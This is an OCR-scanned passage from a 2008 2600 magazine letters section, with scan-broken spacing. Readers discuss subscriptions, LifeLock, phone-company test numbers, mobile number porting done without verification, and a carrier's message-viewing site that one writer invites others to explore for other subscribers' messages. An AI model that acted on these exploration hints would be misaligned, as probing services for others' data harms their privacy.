to be occurr ing in equ a l  quant i t ies .  

Acidevil 
Well, thanks for depressing the hell out of all of 

us. Clearly we need to start thinking about how to 

incorporate death into our business plan.  We'll try 
to get on it. But first we need to get through The Last 
HOPE. 

Lifetime subscriptions really are intended for your 
(or our) lifetime. When one of those ends, the sub­
scription ends. It's not meant to last for the lifetime of 
the human race, as you are apparently already plot­
ting to do through your future unborn generations. 
If this kind of abuse prevails, we might have to cap 
these subscriptions at 1 20 years or however long 
people are living to these days. 

We 'll make every attempt to live long enough to 
ensure that you get your money's worth from your 
lifetime subscription. This is the solemn promise we 
make to all of our readers. 

Dear 2600: 
I subscr i bed in December of 2007 and have o n l y  

received t h e  fi rst q u a rter mag. Has t h e  second quar­
ter gone out yet? 

chris 
Yes, and you really should have gotten it. Please 

let us know if you see this. 

Dear 2600: 
I 'd l i ke to pub l i sh  two a rt ic l es, can I meet a staff 

member? 
Musique Maison 

Not so fast there. You don't get a personal visit 
until you publish 20 articles! Nice try though . 

Dear 2600: 
What do you th i n k  about L i feLock? Seems to me 

that j ust some common sense protect ion of you r per­
sonal  i nformat ion is enough.  The adverts seem a l i tt le  
extreme, wi th  the guy shar i ng h i s  SSN and a l l .  

eroOcool 
You 're referring to the company whose CEO goes 

around advertising his Social Security number saying 
tha t he has nothing to worry about because he uses 
the service he's peddling to protect his identity. All 
this tells us is tha t  the availability of SSNs has got­
ten so common tha t  it's almost a trivial detail at this 
point. We 're expected to give them to the phone 
company, employers, banks, schools, and virtually 
anyone who asks for them. Since so many people still 
don't know how to say no, a whole business based 
on fear has popped up under the guise of protecting 
you from exploita tion. You really don 't need a com­
pany to do this. As you say, a little common sense 
goes a long way. Keep your private informa tion to 
yourself, don 't advertise anything about your private 
life on the Internet tha t  you wouldn't want  Charles 
Manson to know about, and keep a close eye out for 
any electronic transactions that may not be yours. 
Like any disease, prevention and early treatment will 
go a long way. 

Observa tions 

Dear 2600: 
F i rst off I need to apologize i f  my Eng l i sh  seems a 

b i t  wei rd. I spea k German as my nat ive language and 
I am not  1 00 percent b i l i ngua l .  Recent ly I enjoyed a 
l augh wh i le try i ng to ca l l  a fr iend of m i n e  who l ives 
in New York c i ty. I d i a led 7 1 8-2 3 8-9901 by accident 
(fr iend's n u mber i s  actu a l l y  a coup le  of d igits off) and  
received the recorded "stat ion 10"  for the 7 7th Street 
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DMS-l 00. If rock and ro l l  fans who c a l l  th i s  nu mber 
t h i n k  "The K i ng" i s  dead, turns out he's been worki ng 
for Verizon th is  whole t ime.  

Anyhow, I have been read i n g  2 600 for at l east 
a couple of years now and am enjoy i n g  what I am 
read i ng. I rea l ly find i t  i nteresti n g  espec i a l l y  with 
regard to the te lephone art icles.  I get a k ick out of 
ca l l i ng some of the odd te lephone numbers sent in 
occas ion a l l y  by readers and I even bought a Track 
Phone not too long ago j ust for phone exploration 
of this type. 

R ide tuff and a l ways have you r  Track Phone 
handy. Thankya ver' much.  

fOxR4c3r 
That recording has been around forever, well be­

fore Verizon even existed. In the New York area, the 
990 1 suffix is often used to identify the switch type 
of a particular exchange. It used to be that  dialing 
anything in the 99xx series would hook you up to 
something being run by the phone company. 9970 
would always get you a busy signal, 997 1 a fast busy 
(reorder), 9979 a sweep tone, and 9950 oftentimes 
would connect you to the business office. These days 
you could easily wake up a customer in the middle 
of the night if you try any of these numbers as they're 
now being used as non-magical extensions. 

Dear 2600: 
Yesterday I was pass i n g  through Ven ice a i rport 

and attempted to use an In ternet poi nt. Th i s  I nternet 
term i na l  i n terested me as i t  was a free stand ing  kiosk 
with the opt ion to open fi l es from a pen drive. So I 
i nserted m i ne so I cou ld  open my explo i t  - I mean 
photos - from my pen drive. N ext th ing  I was be­
i n g  prompted that I must have my passport snapped 
by the k ios k's webcam before I can access the ma­
c h i ne . . .  someth i n g  about the I ta l i a n  government 
req u i r i n g  it .  Of cou rse I d idn 't offer i t  a nyth i ng and 
after a few moments the mach i n e  prompted for an­
other photo to  be taken.  So I d idn 't agree to  have my 
I D  photographed and pushed the refu nd button, but  
noth i ng happened . Th i s  has to  be aga i nst some law; 
there was no i n d i cat ion unt i l  I i nserted my money 
that my I D  wou ld  have to be recorded, and when I 
d idn 't agree to these terms, I was not given the op­
tion of a refu nd .  The k iosk's owners j ust made a qu ick  
buck from me wi th  absol ute ly  no retu rn .  Does any­
one know if th i s  i s  norma l practice or does i t  happen 
in any other countr ies? 2600 readers, bewa re of such 
term i na l s .  

Padraig 
We doubt such a thing would be tolerated for 

very long over here, unless people were told it was 
needed for homeland security or something. And 
what are the odds of that? But it would be helpful to 
expose the name of the company running this kiosk 
and stirring up some outrage about these practices. 
That's the very definition of civic duty. 

Dear 2600: 
J ust recently I 've been i nterv iewing for jobs in my 

a rea and noticed a few th i ngs. One i s  that i t  seems 
l i ke a l l  sen ior network engi neers l i ke to brag about 
their networks, which cou l d  make for a n  outstand ing 
soc i a l  eng ineeri ng experi ment. For  exa mple, I i nter­
v iewed with a u n ivers i ty in my area and the guy went 
rea l l y  in depth with what they use and/or p lan  on 

us i ng. I wou ld t h i n k  these people wou l d  only divu lge 
i nformation that i s  necessary to ga i n  an  u nderstand­
ing of what the appl icant sk i l l s  a re.  The second th ing  
i s  that  i f  you are try i n g  to  get i nto an  i nformation as ­
sura nce career, good l uck. You won't even get some­
one to ta l k  to you u n l ess you have taken and passed 
the C 1SSP. I don't u nderstand how th i s  makes you any 
more knowledgeable .  I 've worked with a few people 
who have had th is  cert and a l l  they d i d  was cram 
for i t  weeks i n  advance to pass .  After tak ing  it, they 
du mped a l l  the i nformation that they learned. Maybe 
you cou ld  shed some l ight on how th i s  cert became 
so popu l a r. 

tim 
It's really not much more than the power of sug­

gestion. 

Dear 2600: 
I ' m  not sure where to submit  my take on the 

cover submiss ion (24:4) but I hope i t  gets to the right 
p lace. 

My take i s  that the say i n g  i s  "Abandon Hope a l l  
y e  who enter here." Which i s  t h e  i nscri ption above 
the gates of hel l .  Bas ica l l y, the date and the sky and 
statues above the entrance a re say i n g  th i s  to me. 
Abandon Hope, for this i s  the end of the H otel Pen n­
sylva n i a .  And that this i s  tru l y  the last t ime we w i l l  
b e  getti ng together here. I t's t h e  apocalypse for the 
hote l .  My c l ues came from the "make reservations 
to attend" on page 64, and of course Googl e  for the 
other i nformat ion.  

I f  I ' m  wrong or on the r ight track, p lease let me 
know. 

CJ Lorenz 
We will. 

Dear 2600: 
I ' m  wr i t ing you concern i ng my cel l phone ser­

v ice with T-Mobi le. Over a year and a ha l f  ago I no­
t iced that I was able to hea r the person ca l l i ng before 
h i tt i ng the a nswer button .  My phone is a l ways on 
v ibrate, and I can hear the person spea k i ng qu ite 
c l ear ly. I 've showed this i nterest i n g  prob lem to sev­
era l fr iends, so I know it  i sn 't in my head. 

Six months ago I bought a new phone, and be­
fore bei ng ab le  to purchase it, the T-Mobi le worker 
had to mess with my account i nformation on the i r  
computer. Need less to say, with i n  m i n utes of  wa l k i ng 
out of the store I was exper ien c i ng the same prob­
lem.  

I have s i nce switched back  to  my oid phone, and 
i t  no longer happens. I don ' t  have a h i story of  mental 
i l l ness, nor do I tend to be over ly paranoid .  Obv i ­
ous ly  i t  wou ld be  very easy to  experience a lot of 
para noia  in th i s  s ituat ion but I 've been doing my best 
to stay grou nded and logica l .  

I 've asked severa l people a n d  even ca l led T­
Mobi le a bout th i s  issue. They a l l  have sa id the same 
th i ng: i t's not poss ib le .  Sure ly  i t  i s  or otherwise I 
wou l d n 't be wr i t ing th i s  letter. I was hop i n g  the 
2600 staff or loya l readers m i ght have some words of 
knowledge for me. 

rmpants 
This isn't the first time we've heard people swear 

this has happened to them. We 've also heard people 
say they can hear the called party before they an­
swer. In your case though, we 're curious as to what 
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you believe the risk is to you if you can hear people 
speaking before you answer their call. Also, why ex­
actly are they speaking before you pick up ? We think 
you should use this opportunity to run all sorts of 
experiments. 

Dear 2600: 
I was l i sten i ng a w h i l e  back to one of you r  Off 

The Hook podcasts where you were d i scuss ing stop­
p ing peop le's sna i l -ma i l  by U S PS over the I nternet 
with no verificat ion .  Thought you might l i ke th i s .  

I l ive i n  I re land and recent ly I swi tched my mo­
b i l e  operator. In I re land a l l  the rage is  that you a re 
a l lowed to keep you r  o ld  phone n u m ber when you 
swi tch .  So this is what I wanted. The lady asked what 
my oid  n u mber was, so I to l d  her. S i nce I was gett ing 
the pay-as-you-go p lan ,  I d id  not  have to provide my 
rea l  name or anythi ng, and the lady even confi rmed 
this for me when I asked about it .  At the end of the 
process she thanked me, and handed me the new 
S IM card (wh ich cost n i ne eu ros and came preloaded 
with ten eu ros worth of c red it ) .  I asked if  that i s  a l l .  
S h e  rep l ied that i t  wou l d  take u p  t o  2 4  hours for the 
phone n umber to change. ( i t  actua l ly took about fou r  
hours . )  No verif icat ion o f  a n y  k i n d  that I own th i s  
phone n u m ber ! They even prom ised to  do a l l  the pa­
perwork in th ree m i n utes or  you get 3 0  euros worth 
of c red it .  Note for North American readers: in Eu­
rope some banks  offer the abi l ity to  verify/approve 
bank transact ions ( l i ke purchases with you r  c red i t  
card, w i re transfers, etc . )  us ing SMS/text ing on your 
mobi le .  

SiKing 
Dear 2600: 

I j ust received my new sweats h i rt .  Thanks for the 
very quick del ivery. I t  had the fol lowing effect on my 
fam i l y  members: 

1 )  wife - ro l led her eyes and made some k i nd of 
grunting sou nd.  

2 )  son,  age 1 2  - "Cool  sweats h i rt Dad. D i d  you 
get me one?" 

3 )  daughter, age 9 - " Is 2 600 the pr ice?" 
4) daughter, age 7 - "Mom farted." 

Bob 
At least now we know what the grunting sound 

was. Very similar conversations take place in all sorts 
of households around the world when 2600 clothing 
makes its entrance. 

Dear 2600: 
As someone who hates gett ing r i pped off, I 've 

d i sab led text messaging on my AT&T account. Un­
fortunate ly, th i s  means I can neither send  nor receive 
text messages, but fortunately i t  a l so mea ns I ' m  not 
pay ing  extra for someth ing  that transm its an i nfi n i tes­
i m a l  amount of data when compa red to voice ca l l s .  

I found out recent ly t h a t  I can sti l l  receive mu l t i ­
med ia messages from my friends' phones. A message 
is sent to my phone v ia  AT&T which d i rects me to go 
to a webs i te to v iew my mu lt i med ia  message (http:// 
v iewmymessage.com).  A username and a password 
i s  provided in the message to my phone, and I have 
s ix  days to look at the message before it expi res . After 
enter ing the username and password, I was taken to 
a page that d i sp layed the to, from, subject, date, and 
s i ze of  the message, a l ong with my m u l ti med i a  mes­
sage (usua l ly an i mage) embedded in f lash.  

I ' m  p i ssed that they' l l  offer me s ix  days to v ie� 
messages sent to me with no option for sav ing the 
i nformation !  I 'm not too exper ienced with work ing  
around embedded f lash ,  but I know i t  can be done. 

Another i nterest ing t idb i t, regard less of username 
and password, after enter ing you r  i nfo a l l  users a re 
red i rected to the fo l lowi ng U RL .  http://www.view­
m y m essage.com/en/we b n o n s u b s c r i b e r/v i ewmes­
sage.do. There was some i nterest ing  i nfo i n  the page 
sou rce, but I was unab le  to use i t  to find any in fo 
on exact l y  where my i mage was (nor to f ind mu l t i ­
med ia  messages i ntended for  other  subscr ibers) . J ust 
thought I 'd share th i s  i nfo in hopes that someone out 
there with the know-how w i l l  explore i t  more thor- ! 
ough ly  than th i s  nOOb. 

Noli 
Incidentally, we have a very interesting piece on 

text messaging in this issue 's "Telecom Informer" on 
page 7 3 .  

Dear 2600: 
After read i ng some of you r  most recent issues, I 

noticed the whi te boxes on you r  new spi nes (wh ich 
j ust look awesome, for the record) and noticed that 
they seem to be form i ng letters of some k ind after 
compar ing the spi nes of two recent issues. 

I t  appears that they make some sort of word/ 
phrase when p laced together in order, but I can on ly  
extrapo late from the 24 :4  and 24 :2  i ssues. So ,  what's 
the "Secret Word" here? My best guess is " F U BA R I F­
IC" but I know that's not r ight because I ' m  more or 
l ess guess ing  on the last th ree l etters. 

J igsaw 
We only got as far as four of the eight issues need­

ed to make it complete (not in issue order, either) . 
But two things happened that hastened the project's 
demise. One was that the new binding sucked and 
was causing our readers much distress. The other 
was that some of our smart alecky readers had al­
ready figured out the message a full year before it 
was supposed to be finished. The secret word was 
"Surprised?"  We certainly were. 

Dear 2600: 
At the end of my artic le  from 2 5 : 1  on Wik ipedia 

i t  states that the AfD on Ebony Anpu was overtu rned 
by the " Delet ion Review Adm i n i strat ion Page." Th i s  
is  i n correct. I cou ld  n o t  outma neuver t h e  Adm i n i stra­
tor I ca l l  Jeffrey who locked the page so that i t  cou ld 
never be recreated at a l l  wi thout  Adm i n i strator sup­
port (a strange action, to be sure) :  http ://en .wik iped ia .  
orglw/i ndex.php?t i t le= Ebony_Anpu &action=ed it 

As per Mart i n Eberha rd's exce l lent suggestion 
to make a p l ug- i n  ca l led "Haystack" which ma kes 
search noise, there is  cu rrent ly a F i refox p l ug- i n  
ca l led "Track-Me-Not" which I enjoy a n d  acts s i m i ­
la r ly. 

Barrett Brown 

Dear 2600: 
I sti l l  can not te l l  whether the express ion of d is­

appoi ntment over the newspaper and TV news ac­
cou nts i n  you r  docu mentary (Freedom Downtime) 
is gen u i n e  or is meant to be i ron ic .  I wou ld have 
thought that, by the m i d  90s, everyone a l ready knew 
that the " major" out lets were prov id ing  enterta i n ­
ment i nstead o f  i nformation .  

Summer2008-------------------------------------�ge 39 



I n  case you h ave not run  across it a l ready, I w i l l  
recommend D av id  S i mon's stuff from t h e  March 
2 00S issue of Esquire about his t ime at the Balti­
more Sun. I t  he lps with the perspective. Of cou rse, 
he p resented i t  as enterta i n ment, too, so keep it i n  
perspective. The U R L  i s  http ://www.esq u i re.com/ 
featu res/essay/david-s i mon-030S 

Other than that, I l i ked you r  documentary. I 
w ish  it had a better end ing .  

Peter DiGiovanni 
Simon 's cynicism about the plight of newspapers 
and the media at least led him to write and produce 
"The Wire, " a project tha t  finally made the invention 
of television worthwhile. 

Dear 2600: 
I used to col l ect comics and was bored one n ight 

a n d  thought " hey, why not read one of those o ld 
comic books you have ly ing  around?"  So I d i d .  Th i s  
comic  w a s  Chost Rider 2099 ( i ssue n u m ber one, 
p u b l i shed in 1 994), an  odd futu r ist ic vers ion of the 
or ig i na l  com i c  p u b l i shed (and made i nto a movie) 
by Marve l .  I was read ing  through it  u n t i l  the m a i n  
character "zero" w a s  speak ing  t o  o n e  o f  h i s  cohorts 
over a v i deo payphone.  When he was report ing  
about the casua l t ies of the fight he had j ust escaptyl, 
he sa id " Phrack and 2600 a re dead .  Warewolf too, 
maybe." A co i nc i dence? I th i n k  not. Hopefu l l y  the 
writer of Chost Rider 2099 ( Len K a m i n s k i )  wasn't 
try i ng to m a ke a statement about Phrack and 2600, 
but I thought you wou l d  l i ke to know anyways. 

lo$er 
/l:, amazing the things you can find by reading 

comics. We just hope Warcwolf is OK. 

Dear 2600: 
Fi rst, I wou l d  l i ke to com p l i ment you on the 

cha nge from a g l ued to a stap led b i n d i ng. I t 's easier 
to fo ld  the mag i n  ha l f  and read from edge to edge. 

Second, I I ,:)ok forward to my new issues of 2600 
as the a rt ic les a re a l l  very coo l ,  i n  part i c u l a r  " Hacker 
Perspective" and "Te lecom I nformer."  I know some 
users prefer more tech art ic l es and how-tos but one 
can a l ways Coogle, newsgroup, a n d  even read ba­
sic stuff l i ke "Hackers for D u m m ies" and even the 
whole "Stea l  this Computer Book . . .  " series. 

Last ly, I enjoy the b l end of p h i losophy, pol it i cs, 
and tec h n o l ogy that you ach ieve and wa nted you 
to know that when you ra i se your pr ices in the ncar 
future as  I th i n k  you m u st, I wi l l  sti l l  subscr ibe.  The 
mere $ 6 . 2 5  a n  issue i s  pen n ies when compared to 
the wea lth I f ind i n  you r  mag. I t's the s i ng le most 
va l ua b l e  mag that I subscr ibe to and I have many, 
Wired being the worst p iece of trash,  but  i t's free. 

aurfalien 

Dear 2600: 
I j ust fi n i s hed 2 4 : 4  and thorough ly  enjoyed it .  

got to t h i n k i n g  (yes,  most peop l e  wou l d  rather die 
than th i n k  - i t's so much l i ke work) and deci ded to 
l et you fo l ks know the v<ll ue, enjoyment, a n d  safety 
I have received from my read ing  of 2 600. 

As a phys i c i a n  I had been in p r ivate practice 
and am now sem i - reti red . I managed our adm it­
ted ly  s m a l l ,  five computers with router, hub, etc . ,  
network for the i ntegrative c a r e  practice. Know i n g  

t h a t  the Wi ndows env i ronment w a s  a m a j o r  prob­
lem and nearly i mposs i b l e  to secu re, my consultant  
and I chose to use S u S E  L i n u x  S .2  (yes, a b i t  ago) 
for the pr inc ipa l  server, with Samba as the in terface 
s i n ce we were requ i red to use W i n B low$ X P  Pro as 
the c I  ient OS due to software issues .  

Hav ing only Knoppix  as my i ntro to L i n u x, the 
fi rst year was a n ightmare of a l earn ing  c u rve and 
1 -2 a m  as day's end was  comm o n .  The S u S E  adm i n  
m a n u a l  was as frequent a n  occupant o f  my desk a s  
both 2600 a n d  Linux Pro. By t h e  second year the 
adm i n  m a n u a l  was mostly on the shelf  but  2600 
rema i ned on  the desk. 

The move to 9.2 was a bit rocky but  went okay 
overa l l .  The equ i pment was HP Pavi l ion 733 series.  
W h i l e  that wasn't very remarkable,  H P's pol i cy re­
gard i n g  the i r  hard dr ives was. I d idn 't t h i n k  m u c h  
a b o u t  i t  w h e n  we s e t  u p  the server as  who l l y  L i ­
n u x  b y  t h e  exped ient of squ i s h i n g  W i n B low$ i nto 
a l i tt le b i tty 24 GB part i t ion .  Yes, i t  sti l l  ran but it 
was essenti a l l y  out of my way. I set up my perso n a l  
mac h i n e  as  a d u a l  boot with W i n  (24GB)/L i n u x  
(65 G B ) .  I wou l d  h ave d i tched W i n  ent i re ly but  the 
office management a n d  EMR was W i n  only now, 
though or ig i n a l l y  wr itten for L i n u x .  I sti l l  b less Sam­
ba and Cups!  

N ow the oddness .  I had <In  occasion that forced 
me to C<l l l  HP for a hardware issue.  The Ethernet 
card most ly d i ed but W i n B l ow $  saw it as good.  I 
d i d n't th i n k  a nyth ing  of a nswer ing the tech 's ques­
t ion about the OS setup and that i t  was dual boot 
with Win essenti a l l y  compacted . I was to l d  that I 
had void"d my warra nty and got h u n g  up o n .  

After severa l ca l l s a n d  good o l d  M a r i n e  Corps 
stubbornness I spoke with a supervisor that ex­
p l a i ned that I had vo i ded the hardware warra nty by 
remov i ng the i nsta l led OS. Then the fur flew ! I f i ­
n a l l y  got a copy of the hardware warranty i n  wr i t ing 
and sure enough you void i t  if you remove it .  I fou n d  
t h i s  a part i c u l a r l y  d i sturb ing tact ic b y  Wi ndows/H P. 
So after go ing  round and rOLl nd,  I f ina l l y  conv i n ced 
them that there was noth i ng that prevented me from 
a d u a l  boot setup so long as I d i d  not "remove" the 
pre- i n sta l led OS ( X P-Pro) . Eventua l ly the whole is­
sue was b u m ped to a case manager who not o n l y  
w a s  L i n u x  competent (and n o t  a l l owed t o  address 
L i n u x  issups) but u nderstood that I had not voided 
the wa rra nty and even set u p  a remote connec­
t ion to screenshot and verify it  to end the hass les 
downstrea m and attempts to void the warra nty. As 
it tu rned out he was a l so a 2600 reader though he 
asked me not to repeat that to other  HP fo l k .  I t  was 
through a 2 600 a rt ic le  that I found a way to test the 
e-card from the L i nux part i t ion and the Knoppix as  
wel l determ i n i ng that  the card  was  i ndeed bad and 
i t  was  eventu a l l y  rep laced. 

So i n  c los i ng, i t  was through my using 2 600, 
Linux Pro, and s i m i l a r  per iod i c a l s  that I learned 
th i ngs to he lp  me protect and serv ice my network 
and keep it  up  and ru n n i ng. Tha n k  you very much 
2600 staff and may the PTB never prevent your i n ­
format ion from reac h i ng those who need i t .  I wou l d  
appreciate i t  i f  you wou l d  j ust u s e  D r. C rather than 
my fu I I  name.  I do haY<' a few patients who a re 
computer l i terate. 

Dr. C. 
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Critique 

Dear 2600: 
In Forens ics Fear (24 :4), Anonymous C h i -Town 

Hacker writes a pretty point less a rt ic le  fi l l ed with ob­
v ious errors and making vague references to sti r up 
some random fear. I j ust wanted to po int  out a few so 
that others wou l d  see that he's fu l l  of # @ *%. F i rst, he 
starts off with c l a i m ing  there's new software that runs 
�Jn you r  system and gives a process name (a l though 
I t  can be changed, he c l a i ms) and then goes on to 
say that i t  runs underneath the as and i s  OS- i n de­
p�ndent. Wel l ,  you can't have i t  both ways. I f  it's run­
n i ng as � process, that means i t's running on the as 
a nd, besides, the o n l y  th ing runn ing underneath the 
as i s  the B I OS .  Even the l ow- l evel device d rivers a re 
OS-dependent and runn ing  with the as not u nder­
neath it. You can have OS- independent �ource code 
(wh ich o n l y  means it's eas i l y  portab le), but you can't 
�ave OS- I n d�pendent progra ms (except for th i ngs 
l i ke Java, �h lch  std l req u i re the OS-dependent v i r­
tua l  mach i ne).  Next, he writes th i s  i d iotic sentence: 
"Because the pac i s  underneath the as, i t  has the 
a b i l ity to act on a l l  1 0,000 computers at once." 
WTF?  How i t  runs on one PC has noth i ng to do with 
whether it's con nected to other PCs or not. A l so, i f  i t's 
run n i ng u nder the as, i t's not going  to have access 
to the ethernet hardware, s i nce the dr iver for the eth­
ernet card i s  part of the as. So,  wh i l e  such software 
m�y or may not ex i st and may or may not be in use, 
th i S  person doesn't know enough about computers 
to be able to te l l  us  anyth ing  usefu l about it  and i s  
j u st wr it ing t o  a d d  t o  people's fear rather t h a n  a l l ay 
it with knowledge. 

Gunslinger 
Other than that, you enjoyed it? 

Dear 2600: 
I f ind it i ron ic  that on one hand a vast majority 

of hackers push for the freedom of i nformation and 
s�ar ing of knowledge wh i l e  at the same t ime fight 
v igorous ly  to point out secu rity ho les, p l ug their own 
secu r ity holes, and fix those of other people's . Not 
only that, but wh i l e  making the c l a i m  of freedom 
of knowledge an? i nformation, some of these very 
same people are In charge of secur ing networks and 
systems whose sole pu rpose i s  to b l ock access to 
th i s  i nformation (and I am exc l ud ing  from th i s  those 
charged with protect ing Soc i a l  Secu r i ty numbers, 
phone numbers, etc . ) .  

I guess i t  can be bo i led down to  "freedom of  in ­
formation . . .  j u st not  m i ne." 

Chris A. 
It would be nice to mention some specific ex­

amples because it almost seems as if you 're claiming 
that  security holes somehow represent freedom of 
informa tion .  

Dear 2600: 
I ha�e been read ing 2600 for a coup le  of years 

now. Th i s  magaz ine can be as addictive as coca i ne. 
T�ere a rc a few th i ngs to be said about th i s  maga­
Z i ne. In the fo l lowi ng l i st there a re more pra i ses than 
anyth ing e l se. 

The best th i ngs about this magaz ine are: 
1 .  Staff l etter comments usua l l y  have a neutra l 

and fa i r  way of express ion .  They aren't c l ose- m i nded. 

Many t i mes they cha l lenge readers to t h i n k  beyond 
thei r norma l thought. 

2 . . Letters seem perfect ley uneditted (those typos 
were I n c l uded to prove my poi nt). 

3. Witty or  smart remarks on letter comments a re 
pretty much a l ways j u st i fied (see page 3 8, Issue 2 5 : 1 ,  
letter by "gra n ny") .  

4 .  Cr i t ic isms and pra i ses of magaz ine  format and 
subject have seem ing ly  a lways been addressed. (Ad­
d ress i ng these issues i s  smart s i nce you wou l d  wa nt 
to keep readers . )  

5 .  You pr i nt readers' l etters t h a t  wou l d  a l most 
be a waste of va luab le  zine a rt ic le  rea l estate. Th i s  
seems t o  a d d  d ivers ity t o  t h e  magazi ne. (Sorry, but 
some letters rea l l y  a re a waste of l i nes . . .  perhaps th i s  
o n e  wou l d  be i f  pr i nted . )  

Here comes the "d i s l i ke" port ion of my letter: 
1 .  Spar i ngly, some of the a rt ic les a re boring. I 

detest read ing  some perspective of a non-i nterest ing 
tOp iC .  

2 .  Some art ic les, not  just reader supp l ied a rt ic les, 
are a bit too pol i t ica l  or they k ind of make me th i n k  
t h e  author h a s  trust issues (paranoid,  i f  y a  know what 
I mean) .  

U lt i mate ly, not  a l l  the  a rtic les pr i nted can sati sfy 
e

.
veryone .

. 
I appreciate the fact that you pri nt a d iver­

s l
.
ty of a rt ic les and l etters, even if  they are boring or 

k l nda stup id  (sorry, aga i n),  because t h i s  s hows you r  
support o f  t h e  freedom t o  share ideas and t h e  free­
dom to speak you r  m i n d .  A l so, I wi l l  concede that 
someti mes be ing too re laxed with our  i nformation 
or even our  freedom, can be da ngerous and a l i ttl� 
paranoia  can be safer. 

. 
Next matter, Issue 2 5 : 1 ,  the fict iona l  story "To 

K i l l  an AtomiC  Subwoofer" was an i nterest ing  story. 
N ot because It was good, but beca use (s i nce I don't 
read the TOC fi rst and d idn't see "story" preced ing 
the name)  It w?S a mean t r ick  to me. I took rea d i ng 
It ser ious ly  at fi rst, though I susp ic ious ly  read it as a 
story rather tha n  a rt ic le .  After read ing  about a th i rd of 
the a rt ic le  (maybe l ess), I rea l i zed that i t  was a l l  crap. 
I may not know too much about rad i o  waves but 
when someone says someth ing l i ke " I  may not know 
too much about rad i o  waves" it is usua l l y  a s ign that 
they don't know what they a re ta l k i ng about (p lease 
do not re l ate that last comment to the whole of th i s  
letter).  I fe l t  pretty deceived, as wel l as t h e  rest o f  us  
"tab le-of-content-read i ng-ch a l l enged" peop le.  Even 
though I have a couple of d i s l i kes about th i s  maga­
Z i ne, the l i kes very much outweigh the d i s l i kes. 

I l ive in C h i cago, so I cou l d  i magine what it 
wou l d  be l i ke for them to tea r down a p iece of h i s ­
tory from our  great c i ty. To end my a rtic le, I leave a 
quest ion.  Do you rea l l y  i ntend to stop HOPE after 
seven convent ions i f  they dec i ded to tear down that 
New York h i stor ica l  masterpiece? (Thanks for mak ing 
? great magaz ine and sorry to hear about the pend­
I ng fate of the Stat ler H i lton . )  

Shocked998 
We do in fact edit letters. If we didn't you would 

have great trouble reading a lot of what  is sent to us. 
Plus, spelling and punctuation errors are no fun for 
anyone. With a few special exceptions which come 
along every now and then. 

. 
And again, specifics are always nice when say­

mg, for example, 
.
that  a viewpoint is paranoid. It gives 

us the opportunity to counter the point, assess our 

Summer 2008------------------Page 4 1  



own beliefs, and mark you down as part of the con­
spiracy. 

Oddly enough, the sarcastic reply you mention in 
item #3 has apparently been taken as gospel by some 
people, as our first letter writer attests. 

As for the fate of the hotel, we have one last 
hope. And we hope you 're a part of it. 

Dear 2600: 
In Issue 2 5 : 1  I can't he lp but notice the s i m i ­

la ri ty between t h e  art ic le "Password Memorization 
Mnemon ic" and my own paper, "Mnemonic  Pass­
word Formu l as," which was publ i shed l ast year in 
Uninformed Journal Vol .  7 (May, 2007, http://www. 
u n i nformed.orgl?v7) .  The art ic le was at best s imply  
an  u nder-researched art ic le as there are other m ne­
mon ic  tec h n iques that are much more effective than 
the temp late (formu la )  techn ique described, and at 
worst a watered down plagiarism of my paper, even 
reta i n i ng the overa l l  subject matter l ayout, sans 
overview of previously establ i shed and documented 
techn iques. The techn ique presented in the artic le  i s  
essenti a l l y  a s imp l i fied vers ion of  the tech nique de­
scribed in my paper, however I ' l l  g ive the author the 
benefit of the doubt and assume (s)he d idn't read up 
on the subject as there were zero references or c i ta­
tions i n c l uded with the art ic le.  For readers cur ious 
about the subject of mmplex password creation and 
reca l l ,  I adv ise read ing  through the prior art c i ted by 
my paper and find i ng a techn ique that i s  comfortable 
for the reader. 

Druid 

Dear 2600: 
Stop your inresponsible word! Tibet is, was and 

a lways a part of C h i na, that no doubt of it, p lease 
stop your ignorant words if you know noth ing  of Ch i ­
na.  Ch ina  i s  a beautifu l ,  great country, welcome to 
Ch ina  to see every th ing  with your own eyes and get 
you r  own conclus ion .  We ca n't tol erance someone 
spl i t  our country, we can fight to the death ! 

indiana_lau 
How about you go and fight to the death and we 

can try and figure out just what  in hell you're going 
on about and why you think it has anything at all to 
do with us. 

Dear 2600: 

umns l i ke "Telecom I nformer" and " Hacker Perspec­
tive" form a great conti nu ity between issues. And I 
defi n i tely apprec iate the orderi ng of the fi rst set of 
artic les, drawing a l i ne from one Vol P  artic le  to an­
other, and between the Barcode and R F I D  art ic les .  
Al though the qua l i ty of everyth i n g  i s  very h i gh, I 
wou l d  espec i a l l y  l i ke to s i ngle out for pra ise Ph l ux's 
artic le  on gang s igns.  It's wel l written, left f ield from 
your usua l  contributions, sure, but sti l l  fi ts perfectly 
with the hacker menta l i ty of exploration and cre­
ativity. Oh, and cheers for goi n g  back to the stapled 
spi ne, it a l l  j ust feel s  much more sol i d  to me. 

On another note, I 'd just l i ke to say in regards to 
the d i scussion around whether 2 600 i s  gett ing "too 
pol it ical ,"  that anyone who th i n ks that the hacki ng 
wor ld i s  d ivorced from the pol i t ical  i s  l iv ing with a 
cardboard box over thei r  head. Sure, i n  an idea l worl d  
there's "explor ing technology" on t h e  o n e  s ide, a n d  
pol it ics (a l l  that stuff about war, taxes, i m m i gration 
etc. )  on the other. But i n  the real world ,  i n  th is  day 
and age, when "explor ing technology" i s  outlawed 
by the state in so many ways (and i ncreas i ngly so), 
and when our personal freedoms are bei ng eroded 
us ing the same technologies we want to explore, 
wel l ,  the pol it ics comes to us. The hacker m i ndset 
has never been about s i mp ly  d i smantl ing  a rad io i n  
an isolated l a b  somewhere - i t's a lways been about 
the soc i a l  context that our technologies are used i n .  
A n d  when that soc ia l  context changes - becomes 
"po l i tica l"  - so "hacki ng" changes too. L i ke i t  or not, 
hackers, and magazi nes l i ke 2 600 which represent 
us, a re on the front l i ne r ight now, because i t  takes a 
hacker m i ndset to fi rst see what's goi n g  on with some 
of these i ssues. I t' l l  be hackers that uncover root k i ts 
in Sony DRMed CDs, i t' l l  be hackers that d iscover 
how much surve i l l ance we're u nder from our respec­
tive governments, i t' l l  be hackers that reveal to the 
worl d  the abuse of our persona l  data by corporations 
and government agencies around the wor ld .  And this 
a good th ing  - this i s  the way it's meant to be. 

iivix 

Projects 

Dear 2600: 
I ' m  a student at Columbia 's graduate school of 

journa l ism and I ' m  putt ing together a letter to the ed­
itor mash-up for the New York Review of Magazines 
(see last year's edit ion at http://www. nyrm.orgl), tak­
ing d i fferent sentences from d i fferent unpubl i shed 
letters and Frankenste i n i ng them i nto a cohesive 
whole. 

The goa l i s  to form the type of l etter one wou l d  
rea l l y  want t o  see: Fun ny, crazy, b u t  cur iously on­
point.  I n  other words, Readers: Here's what a letter 
